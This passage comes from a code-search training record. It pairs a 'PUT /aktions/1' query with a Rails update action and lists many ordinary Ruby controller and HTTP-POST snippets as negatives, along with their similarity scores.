Cloudflare::Util::Component.parse_response(HTTParty.post(Cloudflare::Util::Config.get('host.base_url'), body: get_body(act, params)))\n end", "def index\n @kontakties = Kontakty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @kontakties }\n end\n end", "def test_should_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :api_key=>'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n end", "def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end", "def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def api_post(action, data)\n api_request(action, data, 'POST')\n end", "def method_missing(method, *args, &block)\n data = { method: method, parameters: args }\n request.post(path: nodes_path, data: data, auth_token: auth_token)\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end", "def akt_params\n params.require(:akt).permit(:contract_id, :from_date, :sum, :number,\n :scan_path, :doc_path, :is_signed, :is_deleted, :preferences, :kind,\n :is_taken_as_original, {scanfiles: []}, {textfiles: []}, :remove_scanfiles, :remove_textfiles, :sum_detail\n )\n end", "def post\n resource.post(request, response)\n end", "def create\n @kouteimaster = Kouteimaster.new kouteimaster_params\n flash[:notice] = t 'app.flash.new_success' if @kouteimaster.save\n respond_with @kouteimaster\n end", "def post(atom)\n @hive_party.post '/atoms', atom.to_h\n end", "def create\n @early_access_request = EarlyAccessRequest.new(early_access_request_params)\n\n respond_to do |format|\n if @early_access_request.save\n format.html { redirect_to root_path, notice: 'Danke für die Registrierung. Wir melden uns bei dir.' }\n format.json { render :show, status: :created, location: @early_access_request }\n else\n format.html { render :new }\n format.json { render json: @early_access_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_aliases(actions)\n resp = post do |req|\n req.url \"/_aliases\"\n req.body = { :actions => Array.new(actions) }\n end\n resp.body\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end", "def post_request(path, params={}, options={})\n request(:post, path, params, options)\n end", "def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end", "def create\n @kontakty = Kontakty.new(params[:kontakty])\n\n respond_to do |format|\n if @kontakty.save\n flash[:notice] = 'Kontakty was successfully created.'\n format.html { redirect_to(@kontakty) }\n format.xml { render :xml => @kontakty, :status => :created, :location => @kontakty }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kontakty.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end", "def post_data(action, parameters = {})\n post = {}\n post[:action] = action\n post[:usepost] = 1\n post[:acctid] = @options[:test] ? 'TEST0' : @options[:login]\n post[:merchantpin] = @options[:password] if @options[:password] && !@options[:test]\n\n request = post.merge(parameters).map {|key,value| \"#{key}=#{CGI.escape(value.to_s)}\"}.join(\"&\")\n request\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def post(merchantid, body)\n self.class.post(\"/post/api/public/v1/accesstoken?merchantid=#{merchantid}\", :body => body)\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end", "def create\n @akce = Akce.new(akce_params)\n\n respond_to do |format|\n if @akce.save\n format.html { redirect_to @akce, notice: 'Akce was successfully created.' }\n format.json { render :show, status: :created, location: @akce }\n else\n format.html { render :new }\n format.json { render json: @akce.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @attestation = Attestation.new(params[:attestation])\r\n\r\n respond_to do |format|\r\n if @attestation.save\r\n format.html { redirect_to @attestation, notice: 'Attestation was successfully created.' }\r\n format.json { render json: @attestation, status: :created, location: @attestation }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @attestation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def create\n redirect_to accesots_url and return# arbitratio, ted no permitir crear desde la web panel ok. ok.\n # @accesot = Accesot.new(accesot_params)\n\n # respond_to do |format|\n # if @accesot.save\n # format.html { redirect_to @accesot, notice: 'Accesot was successfully created.' }\n # format.json { render :show, status: :created, location: @accesot }\n # else\n # format.html { render :new }\n # format.json { render json: @accesot.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "def create\n @odeme_akademist = Odeme::Akademist.new(params[:odeme_akademist])\n\n respond_to do |format|\n if @odeme_akademist.save\n format.html { redirect_to @odeme_akademist, notice: 'Akademist was successfully created.' }\n format.json { render json: @odeme_akademist, status: :created, location: @odeme_akademist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @odeme_akademist.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, params)\n request(:post, path, params)\n end", "def api_request method, params = nil\n\t\t\tconnection = ZenfolioAPI::HTTP.new()\n\t\t\t@response = connection.POST(method, params, @auth.token)\n\t\tend", "def create\n respond_to do |format|\n if @ticketrez.save\n flash[:notice] = 'Ticketrez was successfully created.'\n format.html { redirect_to(@ticketrez) }\n format.xml { render :xml => @ticketrez, :status => :created, :location => @ticketrez }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ticketrez.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n @attestation = Attestation.new(attestation_params)\n\n respond_to do |format|\n if @attestation.save\n format.html { redirect_to @attestation, notice: 'Attestation was successfully created.' }\n format.json { render :show, status: :created, location: @attestation }\n else\n format.html { render :new }\n format.json { render json: @attestation.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def post\n Salesforce.set_http(session[:accesstoken], session[:accessurl])\n \t@response = Salesforce.create_post(params)\n \trespond_to do |format|\n format.json { render :json => @response.to_json}\n # example of multiple reponses mapped to one object\n # format.json { render :json => {:data => @response, :meta => @describe}.to_json}\n \tend\n end", "def create\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.build(params[:absence_request])\n\n respond_to do |format|\n if @absence_request.save\n format.html { redirect_to taskrequest_process_step_url(@step.taskrequest), :notice => 'Aanvraag Afwezigheid was succesvol verstuurd.' }\n format.xml { render :xml => @absence_request, :status => :created, :location => @absence_request }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_rest\n @entry_instrument = EntryInstrument.new(params[:entry_instrument])\n\n respond_to do |format|\n if @entry_instrument.save\n flash[:notice] = 'EntryInstrument was successfully created.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { render :xml => @entry_instrument, :status => :created, :location => @entry_instrument }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response :created\r\n end", "def post(action, **args); end", "def post(path, params = {})\n response = access_token.post(path, params.stringify_keys, header)\n parse_response(response)\n end", "def create\n @lek = Lek.new(params[:lek])\n\n respond_to do |format|\n if @lek.save\n format.html { redirect_to(@lek, :notice => 'Lek was successfully created.') }\n format.xml { render :xml => @lek, :status => :created, :location => @lek }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lek.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @game = Game.find(params[:game_id])\n @game.authorships.create_from_names(params[:authorship])\n respond_to do |format|\n flash[:notice] = 'Les autheurs sont enregistres'\n format.html { redirect_to game_path(@game) }\n format.xml { head :created, :location => authorship_url(@authorship) }\n end\n end", "def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end", "def create\n @transmission = Transmission.new(params[:transmission])\n\n respond_to do |format|\n if @transmission.save\n format.html { redirect_to(@transmission, :notice => 'Transmission was successfully created.') }\n format.xml { render :xml => @transmission, :status => :created, :location => @transmission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transmission.errors, :status => :unprocessable_entity }\n end\n end\n end", "def aktuator_params\n params.require(:aktuator).permit(:nama, :deskripsi, :jenis, :watt, :kendali)\n end", "def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def post(path, params = {})\n\t\trequest(path, :post, params)\n\tend", "def create\n @automated_transaction = AutomatedTransaction.new(automated_transaction_params)\n @automated_transaction.airport_id = current_airport.id\n if @automated_transaction.account\n @automated_transaction.registration = @automated_transaction.account.registration\n end\n respond_to do |format|\n if @automated_transaction.save\n format.html { redirect_to automated_transactions_path, notice: 'Automated transaction was successfully created.' }\n format.json { render :show, status: :created, location: automated_transactions_path }\n else\n format.html { render :new }\n format.json { render json: @automated_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transference = Transference.new(transference_params)\n\n respond_to do |format|\n if @transference.save\n format.html { redirect_to @transference, notice: 'Transference was successfully created.' }\n format.json { render :show, status: :created, location: @transference }\n else\n format.html { render :new }\n format.json { render json: @transference.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, parameters = {})\n request(:post, path, parameters)\n end", "def zipsearch\n require 'uri'\n require 'net/http'\n require 'iconv'\n\n dong_name = Iconv.iconv('euc-kr', 'utf-8', params[:query])\n res = Net::HTTP.post_form(URI.parse('http://biz.epost.go.kr/KpostPortal/openapi'), {'regkey' => '18132c774fa887e6d1318210963744', 'target' => 'post', 'query' => dong_name})\n new_response_body = Iconv.iconv('UTF-8//IGNORE', 'euc-kr', res.body).join\n @retval = new_response_body\n respond_to do |format|\n format.xml { render :xml => @retval }\n end\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end", "def create\n @solicitation = @representative.solicitations.new(params[:solicitation])\n\n respond_to do |format|\n if @solicitation.save\n flash[:notice] = 'Solicitation was successfully created.'\n format.html { redirect_to(representative_solicitations_path(@representative)) }\n format.xml { render :xml => @solicitation, :status => :created, :location => @solicitation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(input)\n @response = self.request(Net::HTTP::Post.new(\n \"/stikkits.atom?raw_text=#{CGI.escape(input)}\"\n ))\n #-- TODO: This should be processed and useful output presented\n #++\n puts @response.body\n end", "def poteti_post(action, parameters = nil, session = nil, flash = nil)\n process_action(action, parameters, session, flash, 'POST')\n end", "def post(path, params = {})\n request(:post, path, params)\n end", "def create\n megam_rest.post_node(to_hash)\n end", "def create\n @atividade = Atividade.new(params[:atividade])\n\n respond_to do |format|\n if @atividade.save\n flash[:notice] = 'Atividade was successfully created.'\n format.html { redirect_to(@atividade) }\n format.xml { render :xml => @atividade, :status => :created, :location => @atividade }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @atividade.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @kontoumsatz = Kontoumsatz.new(kontoumsatz_params)\n\n respond_to do |format|\n if @kontoumsatz.save\n format.html { redirect_to @kontoumsatz, notice: 'Kontoumsatz was successfully created.' }\n format.json { render :show, status: :created, location: @kontoumsatz }\n else\n format.html { render :new }\n format.json { render json: @kontoumsatz.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def test_post_shipments\n test_url = \"https://test.panel.olzalogistic.com/api/v1\"\n test_login = 'your test login'\n test_pwd = 'your test password'\n test_language = 'cs'\n\n data = {payload: {shipmentList: [123456]}} #use real Shipment ID\n\n client = OlzaApi::Client.new(test_login, test_pwd, test_url, test_language)\n response = client.post_shipments(data)\n\n assert_instance_of Hash, response\n end", "def create\n debugger\n @receita = Receita.new(params[:receita])\n\n respond_to do |format|\n if @receita.save\n flash[:notice] = 'Receita was successfully created.'\n format.html { redirect_to(@receita) }\n format.xml { render :xml => @receita, :status => :created, :location => @receita }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @receita.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"patrons\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding patron.\\nResponse body: #{res.body}\"\n res.body\n end", "def post_route(payload)\n with_rescue do\n payload = payload.to_json if payload.is_a?(Hash)\n connection.post do |request|\n request.url routes_path\n request.body = payload\n request.headers['Content-Type'] = 'application/json'\n end\n end\n end", "def create\n @annonce = Annonce.new(annonce_params)\n @annonce.user_id = current_user.id\n\n respond_to do |format|\n if @annonce.save\n format.html { redirect_to @annonce, notice: 'Votre annonce à été correctement crée' }\n format.json { render :show, status: :created, location: @annonce }\n else\n format.html { render :new }\n format.json { render json: @annonce.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(*args)\n request :post, *args\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/creditaccount/v1\")\n end", "def create\n @aniversario = Aniversario.new(params[:aniversario])\n\n respond_to do |format|\n if @aniversario.save\n format.html { redirect_to(@aniversario, :notice => 'Aniversario was successfully created.') }\n format.xml { render :xml => @aniversario, :status => :created, :location => @aniversario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aniversario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @payments_ach = PaymentsAch.new(params[:payments_ach])\n\n respond_to do |format|\n if @payments_ach.save\n flash[:notice] = 'PaymentsAch was successfully created.'\n format.html { redirect_to(@payments_ach) }\n format.xml { render :xml => @payments_ach, :status => :created, :location => @payments_ach }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @payments_ach.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan_quirurgico = PlanQuirurgico.new(plan_quirurgico_params)\n @plan_quirurgico.servicios = params[:servicios]\n @plan_quirurgico.estatus = \"En Proceso\"\n puts params\n puts @plan_quirurgico.examen \n respond_to do |format|\n if @plan_quirurgico.save\n format.html { redirect_to @plan_quirurgico, notice: 'El plan quirurgico fue registrado exitosamente.' }\n format.json { render :show, status: :created, location: @plan_quirurgico }\n else\n format.html { render :new }\n format.json { render json: @plan_quirurgico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @atencion = Atencion.new(atencion_params)\n\n respond_to do |format|\n if @atencion.save\n format.html { redirect_to @atencion, notice: 'Atencion creada satisfactoriamente.' }\n format.json { render :show, status: :created, location: @atencion }\n else\n format.html { render :new }\n format.json { render json: @atencion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attdatum = Attdatum.new(attdatum_params)\n\n respond_to do |format|\n if @attdatum.save\n format.html { redirect_to @attdatum, notice: 'Attdatum was successfully created.' }\n format.json { render :show, status: :created, location: @attdatum }\n else\n format.html { render :new }\n format.json { render json: @attdatum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @atencion = Atencion.new(atencion_params)\n\n respond_to do |format|\n if @atencion.save\n format.html { redirect_to @atencion, notice: 'Atencion was successfully created.' }\n format.json { render :show, status: :created, location: @atencion }\n else\n format.html { render :new }\n format.json { render json: @atencion.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def post_amenities\n return if @amenities.nil?\n\n if @amenities.empty?\n Rentlinx.client.unpost_amenities_for(self)\n else\n Rentlinx.client.post_amenities(@amenities)\n end\n end", "def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end" ]
[ "0.5446658", "0.5281343", "0.5253184", "0.5202324", "0.51885104", "0.5118851", "0.5112516", "0.508409", "0.5081446", "0.5081028", "0.5074932", "0.50144464", "0.5013193", "0.50059336", "0.49958107", "0.49835205", "0.49536613", "0.4944312", "0.49390098", "0.49359998", "0.4935295", "0.49211717", "0.4919084", "0.49163204", "0.48989305", "0.48824215", "0.48622298", "0.48609787", "0.48576885", "0.48554733", "0.48525092", "0.4838009", "0.48144758", "0.48139033", "0.48128277", "0.48108664", "0.4806598", "0.4800644", "0.4799841", "0.4788017", "0.4788017", "0.4788017", "0.4781042", "0.47766376", "0.47702456", "0.476864", "0.4759631", "0.4752928", "0.47519943", "0.47497237", "0.47394", "0.4737192", "0.4733884", "0.47328106", "0.47263315", "0.47184303", "0.4717116", "0.47167993", "0.47139546", "0.4711763", "0.47094008", "0.4693655", "0.46930036", "0.46873048", "0.46866664", "0.46866664", "0.46866664", "0.46866664", "0.46866664", "0.4684349", "0.46810287", "0.4679788", "0.46795335", "0.46755496", "0.46735647", "0.46733823", "0.46723992", "0.46721607", "0.46667892", "0.46664253", "0.46643752", "0.46544448", "0.4652562", "0.4651429", "0.4651031", "0.46484312", "0.46476233", "0.46426204", "0.46383804", "0.4633276", "0.46332005", "0.46250752", "0.46232942", "0.4621561", "0.46176323", "0.4616889", "0.46148565", "0.46134216", "0.46105388", "0.46103248" ]
0.5885438
0
PUT /aktions/1 PUT /aktions/1.xml
def update @aktion = Aktion.find(params[:id]) respond_to do |format| if @aktion.update_attributes(params[:aktion]) flash[:notice] = 'Aktion was successfully updated.' format.html { redirect_to(@aktion) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @aktion.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @atom = Atom.find(params[:id])\n\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n flash[:notice] = 'Atom was successfully updated.'\n format.html { redirect_to(@atom) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atom.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n format.html { redirect_to @atom, notice: 'Atom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @atom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @aktuator.update(aktuator_params)\n format.html { redirect_to @aktuator, notice: 'Aktuator was successfully updated.' }\n format.json { render :show, status: :ok, location: @aktuator }\n else\n format.html { render :edit }\n format.json { render json: @aktuator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.find(params[:id])\n \n #Sicherstellen, dass Benutzer synchronisiert wird auch wenn nur Objekt-Zuordnungen anders sind!\n @benutzer.updated_at = DateTime.now \n\n if bNode.xpath('objekt_zuordnungs').length > 0\n @benutzer.setze_objekt_zuordnungen(bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i})\n end\n if @benutzer.update(benutzer_params(bNode))\n success(nil)\n else\n error(@benutzer.errors)\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n if @arc.update_attributes(params[:arc])\n flash[:notice] = 'Arc was successfully updated.'\n format.html { redirect_to(@arc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "def update\n @kontak = Kontak.find(params[:id])\n\n respond_to do |format|\n if @kontak.update_attributes(params[:kontak])\n flash[:notice] = 'Kontak was successfully updated.'\n format.html { redirect_to(@kontak) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kontak.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n 